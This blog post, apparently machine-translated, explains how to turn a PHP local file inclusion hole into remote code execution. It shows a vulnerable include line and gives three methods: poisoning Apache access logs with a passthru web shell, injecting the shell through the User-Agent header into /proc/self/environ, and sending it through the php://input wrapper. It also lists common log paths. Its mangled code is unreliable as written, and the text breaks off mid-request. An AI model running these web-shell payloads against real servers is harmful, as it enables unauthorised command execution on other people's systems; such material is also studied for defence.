Use PHP code to implement LFI2RCE

Riusksks blog

I have previously written a blog post "LFI2RCE idea": I learned this article after I wrote it in zine. Here I will record it by the way, but the method used is still mentioned in the previous blog, LFI2RCE is implemented by using related record files on the server.

The function used in HIZ is passthru (Http://cn2.php.net/passthru), Mainly to implement a single-sentence Trojan, of course, you can also use exec and system functions. For the differences between the three, refer to the PHP Execution system external command system () exec () passthru (): http://www.bkjia.com/Article/200902/31673.html

Vulnerability code:

<? Php Include($ _ GET[Content]);?>

Method 1:

The Request Code is as follows:

1. <? Php
2. $=Fsockopen("Localhost",80);
3. Fwrite ($,"GET/<? Php passthru ($_ GET [cmd]);?> HTTP/1.1".
4. "Host: localhost".
5. "Connection: Close");
6. Fclose($);
7. ?>

Next, execute the request based on the server's log file path, such as aphche. You can execute the following requests:
Http: // localhost/index. php? Content =/var/log/httpd/access_log & cmd = id

Of course, there are other log file paths, such:

"/Etc/httpd/logs/acces_log ",
"/Etc/httpd/logs/acces. log ",
"/Var/www/logs/access_log ",
"/Var/www/logs/access. log ",
"/Usr/local/apache/logs/access_log ",
"/Usr/local/apache/logs/access. log ",
"/Var/log/apache/access_log ",
"/Var/log/apache/access. log ",
"/Var/log/httpd/access_log ",
"/Var/log/httpd/access. log ",
"D:/apps/Apache Group/Apache2/logs/access. log"

Method 2:
In addition, you can also use the file/proc/self/environ that contains environment variables. At this time, we insert malicious code into the User-Agent header, the code will be recorded in the above file. The specific code is as follows:

1. <? Php
2. $=Fsockopen("Localhost",80);
3. Fwrite($,
4. "GET/.../../proc/self/environ HTTP/1.1".
5. "User-Agent: <? Php passthru ($_ GET [cmd]);?>".
6. "Host: localhost".
7. "Connection: Close");
8. Fclose($);
9. ?>

Method 3:

Another method is to use php: // wrapper (Http://www.php.net/wrappers.phpFor example, you can use php: // input to obtain the original data in the http post request and execute it remotely:

1. <? Php
2. $ Request="<? Php passthru (id;);?> ";
3. $ Req="POST/index. php? Content = php: // input HTTP/1.1".
4. "Host: localhost